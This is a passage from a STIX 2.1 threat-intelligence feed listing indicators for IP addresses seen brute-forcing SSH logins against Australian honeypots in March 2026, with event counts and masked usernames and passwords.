      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): w*****m.",
      "id": "indicator--7c6da4f8-7fc2-4943-93e9-bc62754ff0a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1******6, t*******m.",
      "id": "indicator--7b0e10c8-3f23-4b0a-871c-f5657f390c13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 8****3.",
      "id": "indicator--5fa81c91-9116-4c13-9f1a-e297f9ffecef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****6.",
      "id": "indicator--0eccaecf-4483-43a6-8b20-e257b4a80167",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): r***r.",
      "id": "indicator--c0597adc-ef09-4c48-8334-65407714a9f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1*********1, c*****a, y****i.",
      "id": "indicator--0893ec69-0d74-4b48-88ab-2a43b2501ee5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): q********I.",
      "id": "indicator--042a7ada-8b82-4336-95b8-cf64a2e9a9c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****7.",
      "id": "indicator--bfb82a9a-0886-401e-b3b2-1fa9616bdad5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): d****e.",
      "id": "indicator--59d1b790-11aa-4968-9cb2-a2e31e909808",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): r*****s.",
      "id": "indicator--9251f334-3539-4020-a942-de121c9f69ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): r******n.",
      "id": "indicator--2d2dc59b-cbe8-4a6b-9764-8f91bf2da0cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): l******1.",
      "id": "indicator--612502d5-6ecd-4854-9bb1-b23fe6847b01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 2****9, 8****1.",
      "id": "indicator--c18e8a37-649b-4c7c-b51d-06a7f203e6c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****7.",
      "id": "indicator--441eb3ff-8fd8-4406-a86e-e3976b241947",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1******8, g*******1, r****y.",
      "id": "indicator--4f40ad45-ade9-4d39-9b63-da3e1aa7e841",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****7, 2****4.",
      "id": "indicator--64b47b9e-3d2b-40ed-b254-98a460e196e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): c******e.",
      "id": "indicator--a5abb235-4dff-419c-b931-5218e6a7b7b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1665. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0****3, 0******9, 0****7, 0****9, 0****6.",
      "id": "indicator--5c301f9c-895e-44b2-ac12-c9e33c3ad6a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****8, b****e.",
      "id": "indicator--d5bd7b28-03be-410e-835a-80b323109263",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****9, 1****9, 1****7, 2****5, d*****o.",
      "id": "indicator--56b2b063-f9aa-48fe-af74-04320057a573",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0****0, 3****4, d****n.",
      "id": "indicator--d69fed68-62ef-4afc-a916-e86ef8e0345d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): l********1.",
      "id": "indicator--0058fda6-eb7b-4a48-bb3b-96724b20df01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****5.",
      "id": "indicator--6b1c2fa0-f440-4e30-b4bb-1ecbb9419713",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): m****e.",
      "id": "indicator--4ea8b997-ba8d-423a-b51c-aa08e85a390e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): n*****a.",
      "id": "indicator--792ea611-02ab-4918-9bea-6451d315f8e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****5.",
      "id": "indicator--de8ef2da-36ae-45f5-9fc6-deb173f1f967",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): e****e.",
      "id": "indicator--1763662a-e85f-4460-b26f-bcd88e7cbfeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): a*******i.",
      "id": "indicator--721edba7-7d63-40aa-8b26-fefba5363475",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0****2.",
      "id": "indicator--42d87f8f-ef3a-4d17-8b8e-6cb0d6c14e94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): b*****r, h****e.",
      "id": "indicator--abffca2f-6e09-4520-85f4-f50ec52c6ce0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1******3, f******1, p*****2.",
      "id": "indicator--5fec876d-0589-4f68-9046-ea3b2c72245a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1******2.",
      "id": "indicator--ef393093-cbf9-455a-b928-88a4b7c9f5ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1*****a, g*****0.",
      "id": "indicator--b4b17b2c-009e-413c-8151-13d928058d44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1******5.",
      "id": "indicator--0d87f40e-90b3-403d-8c57-090836697b84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
